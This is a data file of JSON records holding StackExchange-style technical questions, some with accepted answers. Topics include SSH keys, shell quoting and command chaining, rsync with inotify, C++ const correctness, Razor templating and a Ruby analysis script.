{  "id": "_unix.222778"  , "question": "I have 2 machines running on Linux. One has ssh2 configured SOURCE and another has ssh1 configured DESTINATION. How do I generate a key pair in SOURCE whose public key can be understood by DESTINATION? Ideally I need to generate a SSH1 key pair using my installed ssh-keygen in a SOURCE."  , "title": "How to generate SSH1 key using ssh-keygen for SSH2"  , "tags": "ssh keygen"  , "accepted_answer": "Generate v1/v2 SSH keys with ssh-keygen -t rsa1 or ssh-keygen -t rsa.  Then you can copy your key from SOURCE to DESTINATION (and vice-versa) with ssh-copy-id."  } 
{  "id": "_unix.27428"  , "question": "I came across the following command:sudo chown `id -u` /somedirand I wonder: what is the meaning of the ` symbol. I noticed for instance that while the command above works well, the one below does not:sudo chown 'id -u' /somedir"  , "title": "What does ` (backquote/backtick) mean in commands?"  , "tags": "shell;quoting"  , "accepted_answer": "This is a backtick. Backtick is not a quotation sign, it has a very special meaning. Everything you type between backticks is evaluated (executed) by the shell before the main command (like chown in your examples), and the output of that execution is used by that command, just as if you'd type that output at that place in the command line.So, what sudo chown `id -u` /somedireffectively runs (depending on your user ID) is:sudo chown 1000 /somedir  \\    \\     \\     \\   \\    \\     \\     `-- the second argument to chown (target directory)    \\    \\     `-- your user ID, which is the output of id -u command     \\    `-- chown command (change ownership of file/directory)      `-- the run as root command; everything after this is run with root privilegesHave a look at this question to learn why, in many situations, it is not a good idea to use backticks."  } 
{  "id": "_unix.134040"  , "question": "I developed one webcam server using my Raspberry Pi and Logitech webcam and Motion library. I'm able to view the stream by using Raspberry Pi's IP. If I use an IP camera instead of a normal webcam, how can I access the stream. Any ideas?"  , "title": "Raspberry Pi webcam server streaming via an IP?"  , "tags": "raspberry pi;raspbian;camera;motion"  , "accepted_answer": "I guess it depends on cameras. In the past, I have successfully done what OP asks by using cameras streaming H.264 over RTP, controlled by RTSP. In order to do this, an RTP client is required in order to access the camera and get a hold of the stream. I have used live555. My first try was with openRTSP from CLI. "  } 
{  "id": "_softwareengineering.143578"  , "question": "I am Localizing my php application. I have a dilemma on choosing best method to accomplish the same.Method 1: Currently am storing words to be localized in an array in a php file<?php$values = array (                        'welcome' => 'bienvenida'                ); ?>I am using a function to extract and return each word according to requirementMethod 2: Should I use a txt file that stores string of the same?<?php$welcome = 'bienvenida'; ?>My question is which is a better method, in terms of speed and effort to develop the same and why?Edit: I would like to know which method out of two is faster in responding and why would that be? also, any improvement on the above code would be appreciated!! "  , "title": "Localization in php, best practice or approach?"  , "tags": "php;localization"  } 
{  "id": "_codereview.32842"  , "question": "Wouldn't it be better to always pass parameters by reference to avoid creating unnecessary copies? #include <iostream>void deliver(const std::string& message){    std::cout << message;}void say(const std::string message){    std::cout << message;}int main(){    std::string message = Hello World;    deliver(message);        /* VS */    say(message);    return 0;}If not, why not?Because I'm really starting to think references and pointers are useless.I've been coding in C++ for a year and a half and never even once had to use a reference or pointer.I've made countless programs and just finished making my biggest one ever, a 5000 lines game, divided in 28 separate files without using any of them."  , "title": "Passing parameters by reference"  , "tags": "c++;reference"  , "accepted_answer": "Generally, the order of what you want to pass by looks like this for user-defined classes (ignoring C++11, for the moment):Pass by const&. This should be the default way of passingparameters. Pass by &. If you need to modify the parameter for whatever reason, thenyou'll need to pass a reference or pointer to it. However, you should prefer references to pointers (explained below).Pass by value. Unless you really need to make a copy of the value, there's not much reason to pass by value compared to passing by const&. However, if you're going to be making a copy of the parameter in the function body either way, then you may want to simply pass by value in the first place.For a good example of when explicit pass by value makes sense, see the copy-and-swap idiom.However, this is muddied by a number of considerations:Is the class small? Does it only encapsulate a few (simple) data members? For example, something like a std::pair. In this case, it may actually be better to just pass by value.For fundamental data types (int, char, double, and so on), it's better to simply pass by value. There's no performance benefit to passing by reference, and in fact, it can often be slower.With move semantics in C++11, this advice changes considerably. We now have an extra possibility: pass by rvalue reference (&&). Passing by value and using std::move then becomes a distinct possibility, especially when we want to be explicit about ownership. You may want to read this Stackoverflow post for a bit more information. Dave Abrahms (one of the principle authors of boost) has also written about this topic.I haven't mentioned pointers at all until now. Really, the only difference between references and pointers is that references cannot be null. Sticking to references means that you eliminate a whole host of possible bugs to do with dereferencing null pointers. In modern C++, passing by pointer is rare. In fact, it should always be wrapped up in a stack allocated class that deals with the ownership semantics and eliminates the possibility of resource leaks (say, unique_ptr or shared_ptr). These are then passed by one of the ways mentioned above.Finally, one must use pass by reference or (smart) pointer when using dynamic dispatch - that is, when dealing with inheritance.This post may be far more than you ever wanted to know, but the answer is effectively it depends. Deciding how to pass a parameter requires some actual thought, but boils down to some (subset) of the following considerations:Is it a primitive data type or a class encapsulating only a few primitive datatypes?Does it encapsulate some resource? If so, after the call, who do I want to own the resource?Do I need to modify it in the function I'm passing it to? If so, can I rewrite the function in some way so that I don't have to, as this often makes it more difficult to understand the program.Is inheritance involved? Do I want to be able to pass a derived class where a base class parameter is involved?Am I going to simply make a copy of the parameter in the function body? If so, perhaps passing by value is the best idea (again, see the copy and swap idiom).Should I provide overloads so I can have the option of passing a const reference vs passing an rvalue reference?What will give me the best performance? What is easiest to reason about and maintain?(Note: I realise this isn't really a code review as such. If this is too off topic, feel free to remove it)."  } 
{  "id": "_scicomp.23872"  , "question": "In order to numerically solve the following differential equation:\\begin{equation} \\text{Fr}\\{f\\} := v(k)\\dfrac{\\partial f(z,k)}{\\partial z} - F(z) \\dfrac{\\partial f(z,k)}{\\partial k} = -\\dfrac{f-f_0}{\\tau}\\end{equation}I have used the finite volume method, and have discretized the left hand side to:\\begin{equation}\\text{Fr}'\\{f\\} := v(k_j)\\Delta k  \\Bigg[   f(z_{i+},k_j) - f(z_{i-},k_j) \\Bigg] -  F(z_i)\\Delta z \\Bigg[ f(z_{i},k_{j+})   -   f(z_{i},k_{j-}) \\Bigg] \\end{equation} for every box.The so-called flux averaging approximation,\\begin{align} & f(z_{i+},k_j) = \\dfrac{f(z_i,k_j)+f(z_{i+1},k_j)}{2} \\\\ & f(z_{i-},k_j) = \\dfrac{f(z_i,k_j)+f(z_{i-1},k_j)}{2}\\end{align}will lead to instability especially if the flux term is weak.This could be avoided by applying the upwind scheme. In this case:\\begin{equation} f(z_{i+},k_j) =  \\begin{cases}f(z_{i},k_j) & v(k_j)>0 \\\\f(z_{i+1},k_j) & v(k_j)<0\\end{cases}\\end{equation}\\begin{equation} f(z_{i-},k_j) =  \\begin{cases}f(z_{i-1},k_j) & v(k_j)>0 \\\\f(z_{i},k_j) & v(k_j)<0\\end{cases}\\end{equation}I have implemented the above upwinding method, and my results seem accurate for very small values of $F(z_i)$ throughout the system.However, when $F(z_i)$ gets large, the obtained results lose accuracy and deviate from the correct result.The reason to this deviation, I guess, is that the analytical solution to $\\text{Fr}\\{f\\}=0$ is an exponential function. Since the equations are linearly discretized, the discretization cannot follow the large exponential changes accurately.Do you have any idea for increasing the accuracy of the above discretization while holding on to unconditional stability?"  , "title": "High order unconditionally stable discretization for a scalar hyperbolic PDE"  , "tags": "pde;finite volume;discretization;hyperbolic pde"  } 
{  "id": "_unix.386996"  , "question": "I am in the process of writing a bash script that will make a POST request to a remote server every time a new file is created in a directory. I use RSYNC to sync several directories to a main directory. The main directory is then being watched by inotifywait which will trigger a script execution when it detects new files. The problem is the way RSYNC is creating the files I read here Rsync temporary file extension that RSYNC uses mktemp which creates file names like .filesynced.x12fj1 but will then rename them to filesynced after it has finished copying.So in my inotifywait bash script I am getting the filenames of the temp files not the filename after it has been renamed. I am wondering if someone can point me in the right direction so that I can get the filename after it has been moved and renamed.#!/bin/bashinotifywait -m -q -e close_write /edi-files |    while read path action file; do        echo The file '$file' appeared in directory '$path' via '$action'        # send contents of $file to api endpoint.    doneCRON JOB:*/1 * * * * rsync -avz --no-perms --no-o --no-g --remove-source-files /home/dir3/upload/ /home/dir2/upload/ /home/dir1/upload/ /edi-files/CURRENT OUTPUT:The file '.xxxxxxx1.ATM.8I2mrS' appeared in directory '/edi-files/' via 'CLOSE_WRITE,CLOSE'The file '.xxxxxxx2.ATM.MnIMPP' appeared in directory '/edi-files/' via 'CLOSE_WRITE,CLOSE'The file '.xxxxxxx3.txt.3FSceN' appeared in directory '/edi-files/' via 'CLOSE_WRITE,CLOSE'The file '.xxxxxxx4.txt.GoIDCK' appeared in directory '/edi-files/' via 'CLOSE_WRITE,CLOSE'"  , "title": "inotifywait and rsync is printing temporary file names"  , "tags": "bash;rsync;inotify"  } 
{  "id": "_scicomp.8481"  , "question": "I'm a huge advocate of test-driven development in scientific computing. It's utility in practice is just staggering, and really alleviates the classic troubles that code developers know. However, there are inherent difficulties in testing scientific codes that aren't encountered in general programming, so TDD texts aren't terribly useful as tutorials. For example:In general you don't know an exact answer for a given complex problem a priori, so how can you write a test?The degree of parallelism changes; I recently encountered a bug where using MPI tasks as a multiple of 3 would fail, but a multiple of 2 worked. Additionally, common testing frameworks don't seem very MPI-friendly due to the very nature of MPI -- you have to re-execute a test binary to alter the number of tasks.Scientific codes often have a lot of tightly coupled, interdependent and interchangeable parts. We've all seen the legacy code, and we know how tempting it is to forgo good design and use global variables.Often a numerical method may be an experiment, or the coder doesn't fully understand how it works and is trying to understand it, so anticipating results is impossible.Some examples of tests that I write for scientific code:For time integrators, use a simple ODE with an exact solution, and test that your integrator solves it to within a given accuracy, and the order of accuracy is correct by testing with varying step sizes.Zero-stability tests: check that a method with 0 boundary/initial conditions remains at 0. Interpolation tests: given a linear function, assure that an interpolation is correct.Legacy validation: isolate a chunk of code in a legacy application that is know to be correct, and pull some discrete values out to use for testing.It still often comes up that I can't figure out how to properly test a given chunk of code, aside from manual trial and error. Can you provide some examples of tests you write for numerical code, and/or general strategies for testing scientific software?"  , "title": "Strategies for unit testing and test-driven development"  , "tags": "testing"  } 
{  "id": "_unix.363934"  , "question": "WinSCP 5.5.3 (build 4214)CentOS GNU/Linux 2.6.32-642.15.1.el6.x86_64Login configuration: SCP protocol, port 22, everything else is default.The error:Connection has been unexpectedly closed.Server sent command exit status 254.Error skipping startup message. Your shell is probably incompatible with the application (BASH is recommended).getent on the remote Unix server reports that my login shell is indeed /bin/bash, which does exist with perms 755.I've looked all over the WinSCP help forum for a solution. Nothing there makes any sense - in most cases, I can't even parse the replies to the person having the error.I tried looking up scp server status 254, and found a tip here to turn off PAM (in /etc/ssh/sshd_config, set UsePAM to no). Same error.What more can I do to diagnose this problem?"  , "title": "WinSCP closes; server exit status 254; Your shell is probably incompatible with the application"  , "tags": "centos;scp"  } 
{  "id": "_datascience.14948"  , "question": "What is the sizing limitation for Oracle 11g? Can I use it as big data platform? From the following link I understand that there is no limitation for the records, only the columns are bounded to 1000. So if my big data has less than 1000 per table but contains many records can I use Oracle 11g as big data platform?"  , "title": "Is Oracle 11g is able to ingest big data?"  , "tags": "bigdata"  , "accepted_answer": "There is no reason why you cannot use Oracle 11g to create large databases. The 1000-column limit is a theoretical one, not a practical one imo. The theoretical database size limit is in petabytes. You should question why you would want to put that much data in a single database and be prepared to pay for the infrastructure to support it. This is a good summary link - http://awads.net/wp/2010/02/15/oracle-database-limits-you-may-not-know-about/Having administered and tuned dbs of 50TB and more, the limits you should be more concerned with are for query performance. Ask Oracle about licensing as well before you proceed."  } 
{  "id": "_webmaster.105970"  , "question": "I manage a small brick and mortar business that has a website mainly as advertisement to get people to come to our business in person. How do I get my website to move higher (towards page 1) of google search results for people searching for specific keywords and phrases related to my business and geographic location? We can't afford a proper web designer or IT technician so I'm trying to do as much on my own as possible. Thanks"  , "title": "how do I move up in search engine results for specific keywords or phrases?"  , "tags": "search;website promotion"  } 
{  "id": "_unix.377770"  , "question": "I am trying to extract text between specific first match(_ and -). for example, I need to get number 5 from below:MQSeriesRuntime_5-U200491-7.5.0-4.x86_64I tried awk field seperator (awk -F) but thats getting me the entire text after _.can I get help with this please."  , "title": "extract text between 2 different matches"  , "tags": "linux;awk;sed"  } 
{  "id": "_unix.17747"  , "question": "As per the following example, and as in my recent question In bash, where has the trailing newline char gone?, I want to know why it happens  x=$(echo -ne a\\nb\\n) ; echo -n $x | xxd -p # Output is: 610a62 # The trailing newline from the 'echo' command#   has been deleted by Command SubstitutionI assume there must be some very significant reason for a shell action, namely Command Substitution, to actually delete some data from the command output it is substituting...but I can't get my head around this one, as it seems to be the antithesis of what it is supposed to do.. ie. to pass the output of a command back into the script process... Holding back one character seems weird to me, but I suppose there is a sensible reason for it...  I'm keen to find out what that reason is..."  , "title": "Why does shell Command Substitution gobble up a trailing newline char?"  , "tags": "shell;text processing;command substitution"  , "accepted_answer": "Because the shell was not originally supposed to be a full programming language.It is quite difficult to remove a trailing \\n from some command output.However, for display purposes almost all commands end their output with \\n, so there has to be a simple way to remove it when you want to use it in another command. Automatic removal with the $() construction was the chosen solution.So, maybe you'll accept this question as an answer:Can you find a simple way to remove the trailing \\n if this was not done automatically in the following command?> echo The current date is $(date), have a good day!Note that quoting is required to prevent smashing of double spaces that may appear in formated dates."  } 
{  "id": "_unix.311796"  , "question": "I'm having some pretty terrible issues when i connect an external screen with my laptop.Laptop specs:Asus Zenbook UX303UB 13.3 (1920x1080)CPU: i7-6500U, 2.5GHzRAM: 8GB DDR3STORAGE: 256GB SSDGPU: 940M 2 GBLinux Mint 18 KDEWhen i connect the monitor sometimes the taskbar is not on the primary monitor set, also sometimes when i unplug the monitor KDE freezes up (ctrl+alt+f1 still works though) and all i can do is restart or reconnect the external monitor.If i shutdown the laptop and unplug the monitor, on next boot the login screen works fine but when the KDE splash screen gets to about 75% it appears to crash as there is a black screen with a cursor on the edge of the screen (where the 2 screens would meet if the external one is connected) and i can only move it up or down, at this point i can't access anything and the only thing that helps is connecting the external monitor and the laptop screen is unusable. this has happened a few times now and today i wasn't able to fix this, i'm writing this post from Cinnamon desktop which i installed just to be able to use the laptop.Any ideas? "  , "title": "Linux Mint 18 KDE external monitor"  , "tags": "linux mint;kde"  } 
{  "id": "_softwareengineering.334795"  , "question": "Consider the following (example) code:class A{private:    int *_a;public:    A() { /* initialize _a to something */ }    ~A() { /* deallocate _a */ }    void setA(int i) const    {        _a[i] = 3;    }};This code compiles and will perform as expected (i.e., if you call setA with some input i, it will set the ith element of _a to 3). My concern is with the const modifier attached to the function setA. There is no danger of a compiler error (or worse, undefined behavior) due to this modifier - the class A only contains a pointer to the data that is being modified, not the data itself. With that said, I can't help but feel that using the const modifier for a function that does in fact modify the data that A is in charge of maintaining is wrong, somehow. Am I being oversensitive here, or is this truly bad practice?"  , "title": "Declaring a function const when changing member data"  , "tags": "c++"  , "accepted_answer": "In your example it is probably very bad idea to modify _a[i].Having said that I would like to elaborate a bit more:const is a very useful keyword. If you read some Bjarne's or Scott's books, there is written to use const as often as possible. Moreover changing data in function declared const is not only possible, it is sometimes good practice! Just remember that care is needed when deciding if your case is one of those 'some' times. Why on Earth they would put keyword mutable in C++ if it should not be used?An example (from one of aforementioned authors if I remember correctly) of good usage of mutable:Consider class Polygon:class Polygon{    void calculate_area() { /* we calculate m_area */ }    std::vector<Vertex> m_vertexes;    double m_area;public:    Polygon(std::initializer_list<Vertex> v_list): m_vertexes(v_list) {}    double area() const { return m_area; }    void add_vertex(Vertex v)    {        m_vertexes.push_back(v);        calculate_area();    }};It is quite straightforaward, isn't it? We don't want to calculate area every time we are asked to return it, so we store its value in m_area member variable and return this variable. Method double area() is const, it doesn't change anything after all. The thing is we have to compute area every time we change our Polygon! Let's say we add a hundred vertexes one by one... A hundred area recalculations! 99 of those totally unnecessary. We want to recalculate only if we are asked to deliver area. So what do we do?We use mutable!class Polygon{    void calculate_area() const    {        /* we calculate m_area */        m_recalculate_area = false;    }    std::vector<Vertex> m_vertexes;    mutable bool m_recalculate_area = false;    mutable double m_area = 0.0;public:    Polygon(std::initializer_list<Vertex> v_list): m_vertexes(v_list)    { m_recalculate_area = true; }    double area() const    {        if(m_recalculate_area)        { calculate_area(); }        return m_area;    }    void add_vertex(Vertex v)    {        m_vertexes.push_back(v);        m_recalculate_area = true;    }};The effect is pretty nice: for a user of our class method double area() still doesn't modify object it's working on, so it is still const. But inside we gained a lot! Area will be recalculated only when there is need for it. If nobody asks for area it won't be calculated at all!So, as I understand it, const should indicate that as far as class user is concerned method does not modify object. User of our API is usually not interested in implementation details. If he is, then we have documentation :) .But beware: using mutable because it's few lines of code less or something like that is a huge mistake. If you make your method const then keep your word and use mutable with utmost care only! Otherwise you, and users of your code soon will be in big trouble."  } 
{  "id": "_unix.165347"  , "question": "My problem is pretty simple, but I must admit, I don't know any elegant solution. I have a problem, that I often accidentally click different icon that I wanted. It's really very unpleasant, so I've decided to write a bash script, which will ask me if I really want to launch the program ( especially Eclipse, because it's pretty large and so it takes lots of time to load ). I had written it, then added its location to the eclipse.desktop file... And now there's my problem. The Eclipse launcher works, but if I launch only Terminal, Eclipse icon shows up instead of original Terminal's.Do you know how could I solve this, if I wanted to keep my bash script working?Here is my bash script eclipseLaunch.sh:#!/bin/bashecho Do you really want to launch Eclipse? (yes = y)read answerif [[ $answer = y ]]; then    ~/.eclipse/eclipsefiAnd here is my eclipse.desktop file:[Desktop Entry]Type=ApplicationEncoding=UTF-8Name=EclipseExec=gnome-terminal -e bash -c \\~/.eclipse/eclipseLaunch.sh; exec bash\\Icon=/home/martin/.eclipse/icon.xpmTerminal=false"  , "title": "Launch BASH script by clicking icon and preserve terminal icon"  , "tags": "bash;shell script;icons;desktop file"  , "accepted_answer": "Finally I've solved it. After this solution I had to restart PC.I've changed my eclipse.desktop file to this:[Desktop Entry]Type=ApplicationEncoding=UTF-8Name=EclipseExec=bash -c ~/.eclipse/eclipseLaunch.sh; exec bashIcon=/home/martin/.eclipse/icon.xpmTerminal=trueAnd eclipseLaunch.sh to this:#!/bin/bashecho Do you really want to launch Eclipse? (yes = y)read answerif [[ $answer = y ]]; then    nohup ~/.eclipse/eclipse &else    kill $PPIDfi"  } 
{  "id": "_unix.37069"  , "question": "What is the difference between the following methods of chaining commands?cmd1; cmd2cmd1 && cmd2"  , "title": "What is the difference between && and ; when chaining commands"  , "tags": "bash;shell"  , "accepted_answer": "Assume there is command1 && command2.In this case command2 will be executed if and only if command1 returned zero exit status.; is just a command separator. Thus command2 will be executed whatever command1 returned.$> [[ a = b ]] && echo ok $> [[ a = b ]]; echo ok ok"  } 
{  "id": "_softwareengineering.137340"  , "question": "I'm sure we've all been in the situation where we've inherited code that was overly public, becomes obsolete or needs to be refactored. In these situations, it is easy to spend many days analysing the API surface to see where methods or classes are consumed; with the .Net runtime, it seems logical that it should be relatively trivial to map these inter-assembly dependencies, but there doesn't seem to be any tools out there that do this already?For example, let's suggest that we have a CRM class library that encapsulates the interface to all the customer data; it's not unreasonable that a quotations application may rely on this, but it seems non-trivial to identify on which bits. A naive approach would be to say that the public interfaces (types, etc.) is the API surface, but it may be the case that some of these interfaces are only public for consumption in a particular use case, that may become invalid.Is it possible to automatically determine and map the inter-assembly dependencies for a given set of assemblies?"  , "title": "Is it possible to analyse the API surface of a set of class libraries to automatically determine inter-assembly dependencies?"  , "tags": ".net;refactoring;dependency analysis"  } 
{  "id": "_unix.282895"  , "question": "How to create a collation of images in the format:image_name_1 [IMAGE#1]image_name_2 [IMAGE#2]image_name_3 [IMAGE#3]...Using Imagemagick I can say something like:montage -label '%f' -mode concatenate -tile 1x foo*.png out.pngBut this adds the file name below the image + it does not account for name width.Where the file name is printed (as in conventional cartesian y-axis) is of no concern as far as it is to the left of the correct image.Which tool is of no concern as long as it is available for 32-bit Linux."  , "title": "Collate image list with name"  , "tags": "scripting;imagemagick;image manipulation"  , "accepted_answer": "I'm no ImageMagick expert, so there is probably a better way to do this, but you can do this in 2 steps, first adding the text to the left of each image into an intermediate file, then doing the montage.  for file in foo*.pngdo  convert $file -splice 100x0 -gravity west -annotate +10+0 '%f' /tmp/$(basename $file)donemontage -mode concatenate -tile 1x /tmp/*.png out.pngYou need to adjust the splice value 100 to be wide enough for your widest filename label. An interesting alternative that uses a single command is convert \\ $(for file in foo*.png   do echo '(' label:$(basename $file) -gravity center $file +append ')'   done) -gravity west -append out.pngwhere you use +append to join the label and image together horizontally, then -append to join the results vertically. It is not exactly what you need, but could be a starting point for further experimentation."  } 
{  "id": "_codereview.57773"  , "question": "I've come across the following piece of code in a Razor view<table class=key-left>    <tr>        <td>Company</td>        @foreach (Customer c in Model.SelectedInstallers)        {            <td>@c.Name</td>        }    </tr>    <tr class=even>        <td>Address</td>        @foreach (Customer c in Model.SelectedInstallers)        {            <td>                @c.Street<br />                @c.City<br />                @c.County<br />                @c.Postcode            </td>        }    </tr>    <tr>        <td>Contact Details</td>        @foreach (Customer c in Model.SelectedInstallers)        {            <td>                @c.Telephone<br />                @c.Website            </td>        }    </tr>    <tr class=even>        <td>Remove</td>        @foreach (Customer c in Model.SelectedInstallers)        {            <td><a href=# class=ins-qt-remove remove title=Remove this Installer from your list data-account-no=@c.AccountNumber>Remove installer</a></td>        }    </tr></table>Now would it better to stay with this code or change it to do one loop with multiple stringbuilders:StringBuilder company = new StringBuilder();StringBuilder address = new StringBuilder();StringBuilder contact = new StringBuilder();StringBuilder remove = new StringBuilder();foreach (Customer customer in Model.SelectedInstallers){    company.AppendFormat(\\n    <td class=\\company\\>{0}</td>, customer.Name);    address.AppendFormat(\\n    <td class=\\address\\>{0}<br />{1}<br />{2}<br />{3}</td>, customer.Street, customer.City, customer.County, customer.Postcode);    contact.AppendFormat(\\n    <td class=\\contact\\>{0}<br />{1}</td>, customer.Telephone, customer.Website);    remove.AppendFormat(\\n    <td class=\\remove\\><a href=\\{0}\\ class=\\remove-link\\>Remove<span class=\\hide-element\\> {1} from the list</span></a></td>, removeUrl, customer.Name);}<table id=compamies-list class=rows-@Model.SelectedInstallers.Count>    <tr class=first-row>        <th scope=row>Company</th>        @Html.Raw(company.ToString())    </tr>    <tr class=even>        <th scope=row>Address</th>        @Html.Raw(address.ToString())    </tr>    <tr class=odd>        <th scope=row>Contact Details</th>        @Html.Raw(contact.ToString())    </tr>    <tr class=even>        <th scope=row>Remove</th>        @Html.Raw(remove.ToString())    </tr></table>Or does it not matter if there is only going to be a maximum of ten installers"  , "title": "Multiple loops versus multiple stringbuilders"  , "tags": "c#;optimization;asp.net mvc 4"  , "accepted_answer": "Stay with the first solution:It is easier to read.Using such a template is the least-obfuscated method to generate the output HTML, as the structure of the template directly corresponds to the structure of the output.Another important aspect is that when embedding HTML into C# strings, you have to use many escapes.This makes it harder to read.I would expect the first template to have comparable or better performance.Instead of micro-optimizing, one should usually optimize for maintainability first, and let the compiler do its thing. Before optimizing for performance, do a benchmark to find real bottlenecks.I strongly suspect that the template engine is implemented in a non-moronic way, which means that internally a string builder is used.Your second solution on the other hand incurs additional overhead by maintaining multiple string builders which are then joined to an intermediate string which are then stuffed into the template  that intermediate string is unnecessary.But what about having fewer loops? The answer is that it doesn't matter from a theoretical perspective: Executingforeach (x in things)    a(x);foreach (x in things)    b(x);foreach (x in things)    c(x);does the same amount of work asforeach (x in things){    a(x);    b(x);    c(x);}In practice there is some small overhead per loop, but this overhead is usually negligible when compared with the actual work done inside the loop. Do a benchmark to see if this overhead matters.It appears to be more secure.In your second solution, you directly interpolate arbitary strings into the HTML via AppendFormat.Unless you have very good input validation, this would allow for spectacular injection attacks.Better be safe than sorry, and escape everything.This is much easier if you use the templating engine rather than doing everything yourself  it's too easy to forget something.There is another consideration from an UX standpoint:When reading tabular data, I expect each row to contain a record, and columns to contain different fields for that record.This makes such data easy to parse by humans and computers alike.Swapping the axes of your table also means that your template is ever simpler:<table>    <tr>        <th>Company</th>        <th>Address</th>        <th>Contact Details</th>        <th>Remove</th>    </tr>    @foreach (Customer c in Model.SelectedInstallers)    {        <tr>            <td>                @c.Name            </td>            <td>                @c.Street   <br />                @c.City     <br />                @c.County   <br />                @c.Postcode            </td>            <td>                @c.Telephone<br />                @c.Website            </td>            <td>                <a      href=#                        title=Remove this Installer from your list                        data-account-no=@c.AccountNumber>                    Remove installer                </a>            </td>        </tr>    }</table>While displaying data row after row scales very well to a large number of records, displaying items horizontally next to each other so that each item occupies a column makes it much easier to compare the data. However, this only scales well up to three items (in my experience), and horizontal scrolling is a big no-no.Some notes regarding the HTML: The headings of columns or rows should use the <th> element. While you do this in the second template, the first template only uses plain <td>s.To style different rows differently, it is tedious to apply classes like first-row, even, or odd.These not only invite name collisions, but can also be done with much less effort via CSS pseudo-classes such as :nth-child:/* tr.first-row */tr:first-child { ... }/* tr.even */tr:nth-child(even) { ... }/* tr.odd */tr:nth-child(odd)  { ... }The disadvantage of this solution is that it won't work on older MSIE versions.But in this case this wouldn't be a problem as the functionality of the table is not impaired  this is an example of progressive enhancement."  } 
{  "id": "_unix.338979"  , "question": "I'm a unix admin at a college.  I've two web servers.  One of them is for faculty and one of them is for the official college web team.  The offical web server proxies requests for faculty web pages, so even though they're two separate servers, from the faculty and browser point of view, it appears as one server.  In order to save the faculty some confusion, I forward port 22 (using socat) on the official server to the faculty server and make sshd on the the official server listen on a different port.  This way, faculty can ssh to mycollege.edu, even though that's the DNS name of the official server.  It means the web team gets confused more often, but that's way better than several hundred confused faculty.I use Fail2Ban to keep the brute force ssh logins to a somewhat more manageable quantity. This doesn't work for these two web servers because every ssh connection to the faculty server comes from the official server, and I obviously don't want to block connections from the official server.What I want to do, is find a way to track failed logins across the servers, so I can have the official server block the source IP. The problem is, the official server knows the source IP but not which logins failed and the faculty server knows which logins failed, but not the source IP.I should be able to do this by tracking the source port on the connections between the offical and faculty servers.  Official knows source IP of original connection and the source port for the subsequent connection to the faculty server.  The faculty server knows the source port from the official server and weather the login failed.  Basically, I would keep a log of foreign source IPs and internal source ports on the official (outward facing) server and a log of internal source ports and login failures on the faculty (internal) server.  Then I could send the log entries from the faculty server to the official server and the official server could analyze it and firewall as appropriate.SO!  Here's my questions:Is this a crazy idea with a much simpler solution?If this isn't crazy, what's the best way to gather that internal source port info?  Socat (on external, official host) can log some stuff, but what it appears to call the source port doesn't match anything in connections I'm watching on the internal/faculty host (using tcpdump)."  , "title": "tracking proxied TCP connection"  , "tags": "ssh;firewall;proxy;tcp;socat"  } 
{  "id": "_codereview.91720"  , "question": "I recently wrote a name generator that uses a DTMC underneath (I asked about it here) and, since I'm not entirely confident I did it right, I wrote a script to check my code, or at least its output.It works pretty well, but, being new to the language, I want to know how to make it more idiomatic. Performance boosts (in terms of speed and memory efficiency) would also be a plus, but since this is just a simple test script they're not as important.# arguments: '-dDELIMITER'if ARGV[0] == '-h'    [            'Should be used in the form:',            '<invocation of name_gen.rb> | <ruby> name_gen_test.rb -d<delimiter>',            'The delimiter MUST be specified in name_gen.rb and it MUST NOT be ``.'    ].each { |line| puts line }endDELIMITER = ARGV[0] || abort('You must specify a delimiter as the sole command-line argument')connections = Hash.new { |hash, key| hash[key] = Hash.new 0 }start = Hash.new 0until (cur_line = STDIN.gets).nil?    cur_line.chomp!    individual_syllables = cur_line.split DELIMITER    individual_syllables.each_with_index { |from, index|        start[from] += 1 if index == 0        connections[from][individual_syllables[index + 1] || !!false] += 1    }end# % of start per syllable# % of connections to each syllable it connected toputs 'Start:'total_start_count = start.values.inject(:+).to_fmax_len = start.keys.inject (0) { |memo, cur|    (cur.length > memo) ? cur.length : memo}start.each { |text, percent|    puts   #{text.ljust max_len} : #{(percent * 100 / total_start_count).round.to_i}%    # Get the percent -> Truncate -> convert to string -> justify}putsEND_MARKER = '[end]'puts 'Connections:'connections.each { |from, links|    total_connection_count = links.values.inject(:+).to_f    max_len = links.keys.inject(END_MARKER.length) { |memo, cur|        ((cur ? cur : '').length > memo) ? cur.length : memo    }    puts   #{from}:    links.each { |to, probability|        next unless to        puts     #{to.ljust max_len} : #{(probability * 100 / total_connection_count).round.to_i}%    }    puts     #{END_MARKER} : #{(links[false] * 100 / total_connection_count).round.to_i}%}This is the name generator; this script is meant to be used something like this (on Windows, at least):ruby name_gen.rb dict.txt 10000 -d_ | ruby name_gen_test.rb _if the dictionary of syllables is located at 'dict.txt'.Here's an example dictionary file:a|1|1|b,2;c,2b|0|3|a,0;c,2c|0|0|a,1;b,1And an example output for the script:Start:  a : 100%Connections:  a:    c     : 40%    b     : 40%    [end] : 20%  c:    a     : 50%    b     : 50%    [end] : 0%  b:    c     : 40%    [end] : 60%For anyone interested, the final code is available here. "  , "title": "Analyzer for randomly generated names"  , "tags": "ruby"  , "accepted_answer": "The ruby style guide suggests to use 2 spaces per indentation level.You can use heredocs for multi-line strings, keep in mind that they preserve white space, here is a nice trick that could be used:help = <<-END.gsub(/^\\s+\\|/, '')  |Should be used in the form:,  |<invocation of name_gen.rb> | <ruby> name_gen_test.rb -d<delimiter>,  |The delimiter MUST be specified in name_gen.rb and it MUST NOT be ``.          ENDhelp.each_line { |line| puts line }for multiline blocks please use do...end instead of {...}:individual_syllables.each_with_index do |from, index|start[from] += 1 if index == 0connections[from][individual_syllables[index + 1] || !!false] += endI don't understand why you use !!false, since !!false == false. Also I don't think it is needed here.Do not put a space between a method name and the opening parenthesis:max_len = start.keys.inject (0)Avoid nested ternary operators, it makes the code hard to understand.((cur ? cur : '').length > memo) ? cur.length : memo# becomescur ||= ''[cur.length, memo].max"  } 
